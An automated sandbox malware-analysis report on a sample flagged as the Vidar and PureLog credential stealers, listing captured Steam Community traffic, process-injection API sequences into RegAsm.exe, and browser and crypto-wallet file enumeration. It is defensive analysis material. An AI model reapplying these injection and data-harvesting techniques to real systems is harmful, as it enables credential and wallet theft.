2024-05-07 03:28:54 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-07 03:28:54 UTC	10074	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a>
2024-05-07 03:28:54 UTC	11087	IN	Data Raw: 26 71 75 6f 74 3b 46 52 4f 4d 5f 57 45 42 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 57 45 42 53 49 54 45 5f 49 44 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6d 6d 75 6e 69 74 79 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 42 41 53 45 5f 55 52 4c 5f 53 48 41 52 45 44 5f 43 44 4e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 68 61 72 65 64 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4c 41 4e 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 6c 61 6e 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 Data Ascii: "FROM_WEB":true,"WEBSITE_ID":"Community","BASE_URL_SHARED_CDN":"https:\/\/shared.cloudflare.steamstatic.com\/","CLAN_CDN_ASSET_URL":"https:\/\/clan.cloudflare.steamstatic.com\/","S

Target ID:	0
Start time:	05:28:52
Start date:	07/05/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9a0000
File size:	358'000 bytes
MD5 hash:	B9773393891D9CC471CD58CAC09052DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1632108400.0000000003D65000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1628578580.00000000009A2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:28:52
Start date:	07/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7e0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	33.3%
Total number of Nodes:	18
Total number of Limit Nodes:	0

Executed Functions

Function 02D69741 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 02D698B0
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D698C3
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02D698E1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02D69905
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02D69930
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 02D69988
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 02D699D3
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02D69A11
Wow64SetThreadContext.KERNEL32(?,?), ref: 02D69A4D
ResumeThread.KERNELBASE(?), ref: 02D69A5C

Strings

ress, xrefs: 02D697CB
Load, xrefs: 02D6977F
aryA, xrefs: 02D69787
GetP, xrefs: 02D697C3

Memory Dump Source

Source File: 00000000.00000002.1631357172.0000000002D69000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D69000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d69000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 0f19e0b8d4d94e13b1255ad163cdef8e1bd92cd832caaea2c5ff34e11798389e
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: A5B1E67664028AAFDB60CF68CC80BDA77A5FF88714F158525EA0CAB341D774FA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02D20C38 Relevance: 8.2, Strings: 6, Instructions: 706
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xbnq, xrefs: 02D20C99
Tekq, xrefs: 02D20FAD
TJpq, xrefs: 02D20CB8
poq, xrefs: 02D212A9
TJpq, xrefs: 02D20FCE
4'kq, xrefs: 02D2126A

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID:
String ID: 4'kq$TJpq$TJpq$Tekq$poq$xbnq
API String ID: 0-958120308
Opcode ID: 0a8e940ccb7ad48b4a1177a5e0a10dd7d60996b01f33ec85b6c88c8348a5d8aa
Instruction ID: 77ce5120a31c10b8a421fa2b37444d4a85757030f38e62e7789cbed4582c51e9
Opcode Fuzzy Hash: 0a8e940ccb7ad48b4a1177a5e0a10dd7d60996b01f33ec85b6c88c8348a5d8aa
Instruction Fuzzy Hash: 2552F475A001249FCB15DF68C984A59BBB2FF98304F1585A8E11AAB376CB31EC95CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02D226B0 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,?,?,?,00000000,?,?), ref: 02D22754

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 54efad0c5961a0a2aa060cbffe7be774a7bdb642a75375b2097e8c04d819555a
Instruction ID: c43060055edb8c798cd503a5344f149c140cd8ec79d22274712180a6c947c583
Opcode Fuzzy Hash: 54efad0c5961a0a2aa060cbffe7be774a7bdb642a75375b2097e8c04d819555a
Instruction Fuzzy Hash: E23110B5900249EFCB10CFA9D984ADEBFF0FB48314F20842AE958A7310D375A954CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D226B8 Relevance: 1.6, APIs: 1, Instructions: 66
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(?,?,?,?,00000000,?,?), ref: 02D22754

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID: CreateRemoteThread
String ID:
API String ID: 4286614544-0
Opcode ID: 78bc15835a9e4915fa38201cecc184a765d9c2e7c9e9141f5a1d6848cb0b2f78
Instruction ID: 158e8cbf8c4dcd9639cb0177da501975ef96b6e5f5090be66532cb010eb0174a
Opcode Fuzzy Hash: 78bc15835a9e4915fa38201cecc184a765d9c2e7c9e9141f5a1d6848cb0b2f78
Instruction Fuzzy Hash: 0F2103B5900249DFCB10CF9AD984ADEBBF4FF48314F20842AE958A7350D375A954CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D225E8 Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02D22669

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b196d64d0739d5fa48107ad4aa1cab78e763ae4878abfe057b0f1c80175640e7
Instruction ID: d2f1da75615390fe64433d463b44fb5d42ad344c69f6c4c037426a39e04e464e
Opcode Fuzzy Hash: b196d64d0739d5fa48107ad4aa1cab78e763ae4878abfe057b0f1c80175640e7
Instruction Fuzzy Hash: C62104B190125AEFDB00CF99D984BDEFBB4BB08314F10816AE958A7241D378A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D225F0 Relevance: 1.6, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02D22669

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b7c989a8b667d8e1e4fefc09719f564dbd828648cc85e390195943a4d439896c
Instruction ID: 5dcb231683c48d7474d5fa414dbb8cf4318ae02e0d4689f33d660cd779555955
Opcode Fuzzy Hash: b7c989a8b667d8e1e4fefc09719f564dbd828648cc85e390195943a4d439896c
Instruction Fuzzy Hash: BE21E5B1901259AFCB00CF9AD984ADEFBB4FB08314F10812AE958A7350D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D20C28 Relevance: 5.3, Strings: 4, Instructions: 311COMMON

Download Yara Rule

Strings

xbnq, xrefs: 02D20C99
Tekq, xrefs: 02D20FAD
TJpq, xrefs: 02D20CB8
TJpq, xrefs: 02D20FCE

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID:
String ID: TJpq$TJpq$Tekq$xbnq
API String ID: 0-3315297412
Opcode ID: d099f7227d82bdf33fa40e571bba7525a78ebdcfb39d8ee8057af518605e2d96
Instruction ID: bc9a7428019541eaacbde5e6c58ff31323e3f893f5fe0169b0d61cfda07c105c
Opcode Fuzzy Hash: d099f7227d82bdf33fa40e571bba7525a78ebdcfb39d8ee8057af518605e2d96
Instruction Fuzzy Hash: D4C13971A002299FDB14DF69C994B9DBBF2FF98305F1481A8E019EB365DB31AC49CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02D2099F Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4'kq, xrefs: 02D20A4E
4'kq, xrefs: 02D20A79

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 64fb1f56cd59648f7baf6968e51988f4fda5420ecdba15b1ec73761700406a2f
Instruction ID: 754994947108be2cb17dcdb0fe608a6f819f55cd46d8bca0d189851bc4d6d36e
Opcode Fuzzy Hash: 64fb1f56cd59648f7baf6968e51988f4fda5420ecdba15b1ec73761700406a2f
Instruction Fuzzy Hash: 47614C75E412458FDB09EF6AE56069ABBF3AFC8300B14C579D0159B378EF70990A8F60

Uniqueness

Uniqueness Score: -1.00%

Function 02D209B0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

4'kq, xrefs: 02D20A4E
4'kq, xrefs: 02D20A79

Memory Dump Source

Source File: 00000000.00000002.1631248714.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_file.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 3a63fd086f2881b6ea8bb9cf6821adc699acf89398165271d75e244e43f76ce2
Instruction ID: 32fc3b1471630185d9bdf89c619ac9dcd25f326f2d94f5829f5511d8c13e50f8
Opcode Fuzzy Hash: 3a63fd086f2881b6ea8bb9cf6821adc699acf89398165271d75e244e43f76ce2
Instruction Fuzzy Hash: D5511B75E412458FDB09EF6AE56069ABBF3AFC8300B14C529D0159B378EF70990A8B60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegAsm.exePID: 5816, Parent PID: 3228COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	5%
Total number of Nodes:	2000
Total number of Limit Nodes:	32

Executed Functions

Function 00416676 Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00415AF4), ref: 0041668A
GetProcAddress.KERNEL32 ref: 004166A1
GetProcAddress.KERNEL32 ref: 004166B8
GetProcAddress.KERNEL32 ref: 004166CF
GetProcAddress.KERNEL32 ref: 004166E6
GetProcAddress.KERNEL32 ref: 004166FD
GetProcAddress.KERNEL32 ref: 00416714
GetProcAddress.KERNEL32 ref: 0041672B
GetProcAddress.KERNEL32 ref: 00416742
GetProcAddress.KERNEL32 ref: 00416759
GetProcAddress.KERNEL32 ref: 00416770
GetProcAddress.KERNEL32 ref: 00416787
GetProcAddress.KERNEL32 ref: 0041679E
GetProcAddress.KERNEL32 ref: 004167B5
GetProcAddress.KERNEL32 ref: 004167CC
GetProcAddress.KERNEL32 ref: 004167E3
GetProcAddress.KERNEL32 ref: 004167FA
GetProcAddress.KERNEL32 ref: 00416811
GetProcAddress.KERNEL32 ref: 00416828
GetProcAddress.KERNEL32 ref: 0041683F
GetProcAddress.KERNEL32 ref: 00416856
GetProcAddress.KERNEL32 ref: 0041686D
GetProcAddress.KERNEL32 ref: 00416884
GetProcAddress.KERNEL32 ref: 0041689B
GetProcAddress.KERNEL32 ref: 004168B2
GetProcAddress.KERNEL32 ref: 004168C9
GetProcAddress.KERNEL32 ref: 004168E0
GetProcAddress.KERNEL32 ref: 004168F7
GetProcAddress.KERNEL32 ref: 0041690E
GetProcAddress.KERNEL32 ref: 00416925
GetProcAddress.KERNEL32 ref: 0041693C
GetProcAddress.KERNEL32 ref: 00416953
GetProcAddress.KERNEL32 ref: 0041696A
GetProcAddress.KERNEL32 ref: 00416981
GetProcAddress.KERNEL32 ref: 00416998
GetProcAddress.KERNEL32 ref: 004169AF
GetProcAddress.KERNEL32 ref: 004169C6
GetProcAddress.KERNEL32 ref: 004169DD
GetProcAddress.KERNEL32 ref: 004169F4
GetProcAddress.KERNEL32 ref: 00416A0B
GetProcAddress.KERNEL32 ref: 00416A22
GetProcAddress.KERNEL32 ref: 00416A39
GetProcAddress.KERNEL32 ref: 00416A50
LoadLibraryA.KERNEL32(00415AF4,?,00000040,00000064,00412598,00411C31,?,0000002C,00000064,00412517,00412554,?,00000024,00000064,Function_000121C3,004124D3), ref: 00416A61
LoadLibraryA.KERNEL32 ref: 00416A72
LoadLibraryA.KERNEL32 ref: 00416A83
LoadLibraryA.KERNEL32 ref: 00416A94
LoadLibraryA.KERNEL32 ref: 00416AA5
LoadLibraryA.KERNEL32 ref: 00416AB6
LoadLibraryA.KERNEL32 ref: 00416AC7
LoadLibraryA.KERNEL32 ref: 00416AD8
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00416AE8
GetProcAddress.KERNEL32(75290000), ref: 00416B03
GetProcAddress.KERNEL32 ref: 00416B1A
GetProcAddress.KERNEL32 ref: 00416B31
GetProcAddress.KERNEL32 ref: 00416B48
GetProcAddress.KERNEL32 ref: 00416B5F
GetProcAddress.KERNEL32(6FD40000), ref: 00416B7E
GetProcAddress.KERNEL32 ref: 00416B95
GetProcAddress.KERNEL32 ref: 00416BAC
GetProcAddress.KERNEL32 ref: 00416BC3
GetProcAddress.KERNEL32 ref: 00416BDA
GetProcAddress.KERNEL32 ref: 00416BF1
GetProcAddress.KERNEL32 ref: 00416C08
GetProcAddress.KERNEL32 ref: 00416C1F
GetProcAddress.KERNEL32(752C0000), ref: 00416C3A
GetProcAddress.KERNEL32 ref: 00416C51
GetProcAddress.KERNEL32 ref: 00416C68
GetProcAddress.KERNEL32 ref: 00416C7F
GetProcAddress.KERNEL32 ref: 00416C96
GetProcAddress.KERNEL32(74EC0000), ref: 00416CB5
GetProcAddress.KERNEL32 ref: 00416CCC
GetProcAddress.KERNEL32 ref: 00416CE3
GetProcAddress.KERNEL32 ref: 00416CFA
GetProcAddress.KERNEL32 ref: 00416D11
GetProcAddress.KERNEL32 ref: 00416D28
GetProcAddress.KERNEL32(75BD0000), ref: 00416D47
GetProcAddress.KERNEL32 ref: 00416D5E
GetProcAddress.KERNEL32 ref: 00416D75
GetProcAddress.KERNEL32 ref: 00416D8C
GetProcAddress.KERNEL32 ref: 00416DA3
GetProcAddress.KERNEL32 ref: 00416DBA
GetProcAddress.KERNEL32 ref: 00416DD1
GetProcAddress.KERNEL32 ref: 00416DE8
GetProcAddress.KERNEL32 ref: 00416DFF
GetProcAddress.KERNEL32(75A70000), ref: 00416E1A
GetProcAddress.KERNEL32 ref: 00416E31
GetProcAddress.KERNEL32 ref: 00416E48
GetProcAddress.KERNEL32 ref: 00416E5F
GetProcAddress.KERNEL32 ref: 00416E76
GetProcAddress.KERNEL32(75450000), ref: 00416E91
GetProcAddress.KERNEL32 ref: 00416EA8
GetProcAddress.KERNEL32(75DA0000), ref: 00416EC3
GetProcAddress.KERNEL32 ref: 00416EDA
GetProcAddress.KERNEL32(6F090000), ref: 00416EF9
GetProcAddress.KERNEL32 ref: 00416F10
GetProcAddress.KERNEL32 ref: 00416F27
GetProcAddress.KERNEL32 ref: 00416F3E
GetProcAddress.KERNEL32 ref: 00416F55
GetProcAddress.KERNEL32 ref: 00416F6C
GetProcAddress.KERNEL32 ref: 00416F83
GetProcAddress.KERNEL32 ref: 00416F9A
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00416FB0
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00416FC6
GetProcAddress.KERNEL32(75AF0000), ref: 00416FE1
GetProcAddress.KERNEL32 ref: 00416FF8
GetProcAddress.KERNEL32 ref: 0041700F
GetProcAddress.KERNEL32 ref: 00417026
GetProcAddress.KERNEL32(75D90000), ref: 00417041
GetProcAddress.KERNEL32(6CB60000), ref: 0041705C
GetProcAddress.KERNEL32 ref: 00417073
GetProcAddress.KERNEL32 ref: 0041708A
GetProcAddress.KERNEL32 ref: 004170A1
GetProcAddress.KERNEL32(6C970000,SymMatchString), ref: 004170BB

Strings

HttpQueryInfoA, xrefs: 00416FA0
SymMatchString, xrefs: 004170B5
InternetSetOptionA, xrefs: 00416FB6
dbghelp.dll, xrefs: 00416ADE

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$SymMatchString$dbghelp.dll
API String ID: 2238633743-951535364
Opcode ID: 02a848fa4e7c33424dc08f84c87d6b2e2d4eb3ab9048403a51dd9899c4eec50b
Instruction ID: e03eed0801ec58f57f5b11818b4405cb7ce0920a969082d5a6e1302a6f7215fe
Opcode Fuzzy Hash: 02a848fa4e7c33424dc08f84c87d6b2e2d4eb3ab9048403a51dd9899c4eec50b
Instruction Fuzzy Hash: 6042D97E911620EFEB929FA0FD48A653BB3F70AB01B147439FA0586231D7364865EF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040B700 Relevance: 44.7, APIs: 19, Strings: 6, Instructions: 924
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040B705

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

FindFirstFileA.KERNEL32(00000000,?,00424BD3,00424BD2,00000000,?,00424D1C,?,?,00424BCF,?,?,00000000), ref: 0040B7A6
StrCmpCA.SHLWAPI(?,00424D20,?,?,00000000), ref: 0040B80D
StrCmpCA.SHLWAPI(?,00424D24,?,?,00000000), ref: 0040B827
StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,00424D28,?,?,00424BD6,?,?,00000000), ref: 0040B8D8

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Brave, xrefs: 0040BACA
Preferences, xrefs: 0040BAE9
H, xrefs: 0040C3D3
Google Chrome, xrefs: 0040C0AE
\BraveWallet\Preferences, xrefs: 0040BC1B
Opera GX, xrefs: 0040B8C7

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Brave$Google Chrome$H$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3869166975-1816240570
Opcode ID: b3a7f0ca53abb0bd45cb605ce0056d603617cadf8cdf15c499738707a88371d9
Instruction ID: a06837af720b656b25216628b72489231ebbbab95c301b6f1e0304fd369a8655
Opcode Fuzzy Hash: b3a7f0ca53abb0bd45cb605ce0056d603617cadf8cdf15c499738707a88371d9
Instruction Fuzzy Hash: AC82B470900288EADF11EBB6C956BDDBBB4AF15304F1044AEF445732C2DB781B58DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004041D4 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004041D9

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 00403A76: _EH_prolog.MSVCRT ref: 00403A7B
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
Part of subcall function 00403A76: ??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
Part of subcall function 00403A76: lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
Part of subcall function 00403A76: InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404220
RtlAllocateHeap.NTDLL(00000000), ref: 00404227
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404246
StrCmpCA.SHLWAPI(?), ref: 0040425A
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040427E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 004042B4
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004042D8
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004042E3
